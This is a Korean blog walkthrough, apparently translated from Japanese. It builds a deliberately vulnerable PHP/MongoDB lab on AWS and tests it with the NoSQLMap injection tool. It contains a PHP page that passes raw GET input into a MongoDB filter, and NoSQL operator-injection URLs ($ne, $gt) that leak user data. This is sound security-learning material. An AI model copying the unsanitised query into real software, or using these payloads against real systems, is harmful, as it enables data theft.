NoSQLMap을 사용해보십시오.

개요



NoSQLMap이라는 MongoDB 등 NOSQL의 데이터베이스 인젝션 툴을 시험하고 싶어졌으므로, 사이버 보안 완전 가이드 (주 1)를 참고로 환경을 작성했습니다.
이 책과의 본 환경의 차이는, Ubuntu가 아니라 CentOS에서 환경 구축한 점과 침입 테스트용 웹 어플리케이션으로 이용되고 있던 PHP 확장 모듈 MongoClient 클래스가 비추천이어서 MongoDB\Driver\Manager를 이용해 프로그램을 미수정한 점입니다.

환경 준비



사전 준비



사전에 다음을 실시하고 있습니다.
· AWS 및 DockerHub 계정 생성
· 작업 기계 (kali)에 docker-machine, git 설치

※ 상기에 대해서는 (주 2)에서 설정합니다.

Docker 이미지 만들기



· 작업 기계에서 Base Dock 컨테이너 시작
$ sudo docker pull centos:centos6.10
$ sudo docker run -it centos:centos6.10

· 컨테이너에서 MongoDB 이외의 패키지 다운로드 및 설치
# yum install epel-release
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
# yum -y --enablerepo=epel --enablerepo=remi --enablerepo=remi-php56 install php php-devel php-pear httpd
# pecl install mongo

· php.ini에 다음 설정 추가

/etc/php.ini
extension=mongo.so

· MongoDB 설치를 위해 Yum 리포지토리 설정

/etc/yum.repos.d/mongodb-org-4.2.repo
[mongodb-org-4.2]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc

· MongoDB 설치
# yum -y install mongodb-org

· mongodb.conf에 다음 설정

/etc/mongodb.conf
bindIp: 0.0.0.0

· MongoDB를 시작하고 테스트 용 DB 만들기
# /etc/init.d/mongod start
# mongo
> use appUserData
switched to db appUserData
> db.createCollection("users")
{ "ok" : 1 }
> show collections
users
> db.users.insert({"name":"james","username":"james","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"frank","username":"frank","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"paul","username":"paul","email":"[email protected]"})
WriteResult({ "nInserted" : 1 })
> exit
bye

· 테스트용 웹 애플리케이션 설치
# git clone https://github.com/cheetz/NoSQL_Test.git /opt/NoSQL_Test
# mkdir /var/www/vuln_apps
# mv /opt/NoSQL_Test/userdata.php /var/www/vuln_apps/

· userdata.php 수정

userdata.php
<!DOCTYPE html>
<html>

<head>
<title>User Profile Lookup</title>
</head>

<body>
<?php
if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
   try {
        $result = "";
        $manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
        $filter = ['username' => $_GET['usersearch']];
        print '<br/>';
        $query = new MongoDB\Driver\Query($filter);
        $res = $manager->executeQuery('appUserData.users', $query);
        $user = current($res->toArray());
        if (!empty($user)) {
            echo 'Name: ' . $user->name . '<br/>';
            echo 'Username: ' . $user->username . '<br/>';
            echo 'Email: ' . $user->email . '<br/>';
        } else {
            echo "User not found.";
        }
        echo '<br/>';
    } catch (MongoConnectionException $e) {
        die('Error connecting to MongoDB server : ' . $e->getMessage());
    } catch (MongoException $e) {
        die('Error: ' . $e->getMessage());
    }
}
?>

<b>Enter your username:</b><br>                
<form method="get" id="usersearch">
<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
</form>
</body>
</html>


· Apache 시작
# /etc/init.d/httpd start

· 작업 기계의 Docker 이미지를 DockerHub에 업로드
// Dockerイメージを作成
$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                  NAMES
9fe6f5113480        contos6.10:mongo    "/bin/bash"         40 hours ago        Up 40 hours         0.0.0.0:8080->80/tcp   naughty_bartik
$ sudo docker commit -m "NoSQLMap TEST" 9fe6f5113480 stcmjp/centos6.10_mongo4.2.6

// DockerHubにログインしPUSH
$ sudo docker login
$ sudo docker images
REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
stcmjp/centos6.10_mongo4.2.6   latest              49832a177ef7        40 seconds ago      1.8GB
$ sudo docker push stcmjp/centos6.10_mongo4.2.6:latest


· AWS의 EC2에 Docker 컨테이너 생성
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox

// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)

// インスタンスを確認
$ docker-machine ls
NAME          ACTIVE   DRIVER      STATE     URL                        SWARM   DOCKER     ERRORS
aws-sandbox   *        amazonec2   Running   tcp://18.177.XXX.XXX:2376           v19.03.8

// インスタンス上にDockerイメージを取得しコンテナを生成
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name nosqlmap stcmjp/centos6.10_mongo4.2.6

// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox

// Dockerイメージとコンテナの状態を確認
ubuntu@aws-sandbox:~$ sudo su -
root@aws-sandbox:~# docker images
REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
stcmjp/centos6.10_mongo4.2.6   latest              49832a177ef7        21 minutes ago      1.8GB

root@aws-sandbox:~# docker ps -a
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                     PORTS               NAMES
6b25e095bc22        stcmjp/centos6.10_mongo4.2.6   "/bin/bash"         6 minutes ago       Exited (0) 6 minutes ago                       nosqlmap

// インスタンス上でコンテナを起動
root@aws-sandbox:~# docker run -i -t -p 8888:80 -t stcmjp/centos6.10_mongo4.2.6 /bin/bash

// コンテナでMongoDBとApacheを起動
[root@f1e1ce1e5b7c /]# /etc/init.d/mongod start
[root@f1e1ce1e5b7c /]# /etc/init.d/httpd start

※이미지 작성시에 MongoDB의 정지를 잊었으므로/var/run/mongodb/mongod.pid 파일의 삭제하고 있습니다.

침입 테스트



NoSQLMap



· NoSQLMap 시작
// 作業マシンにNoSQLMapをダウンロードして起動する
# git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQL
# cd /opt/NoSQL
# python nosqlmap.py

※ 기동하면 이하의 용으로 인터랙티브 인터페이스가 표시됩니다.


· 옵션 설정

1을 입력하고 "1-Set options"를 선택합니다.
(이하 설정 샘플입니다)
Options
1-Set target host/IP (Current: 18.177.XXX.XXX)
2-Set web app port (Current: 8888)
3-Set App Path (Current: /vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local MongoDB/Shell IP (Current: 192.168.XXX.XXX)
8-Set shell listener port (Current: 4444)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
h-Set headers
x-Back to main menu

· NoSQL Web App attacks 선택

3을 입력하고 3-NoSQL Web App attacks를 선택합니다.
(이하 설정 샘플입니다)
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at 18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit is up...
App is up!

· 이하 공격용 옵션 설정
  • 5를 입력하여 공격에 대한 임의 문자열을 설정합니다
  • 1을 입력하여 공격의 임의의 문자열에 알파벳과 숫자를 포함시킵니다
  • 1을 입력하여 공격 대상 매개 변수를 usersearch로 설정
    (이하 설정 샘플입니다)
  • Baseline test-Enter random string size: 5
    What format should the random string take?
    1-Alphanumeric
    2-Letters only
    3-Numbers only
    4-Email address
    Select an option: 1
    Using WwFgn for injection testing.
    
    List of parameters:
    1-usersearch
    2-submitbutton
    Enter parameters to inject in a comma separated list:  1
    

    ・출력 결과
    Vulnerable URLs:
    
    Possibly vulnerable URLs:
    http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24ne%5D%3DWwFgn%26submitbutton%3DSubmit
    http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24gt%5D%3D%26submitbutton%3DSubmit
    

    위의 Vulnerable URL 중 하나를 WEB 브라우저에 입력하면 james 사용자의 데이터가 표시되었습니다.



    편집 후기



    1 유저만의 열거가 되어 버렸습니다만, 시간이 있으면 더 낯선 웹 어플리케이션을 준비하고 싶은 곳입니다.

    참조



    주1 사이버 보안 테스트 완전 가이드
    참고 2 AWS에서 Apache Killer를 사용해보십시오.

    좋은 웹페이지 즐겨찾기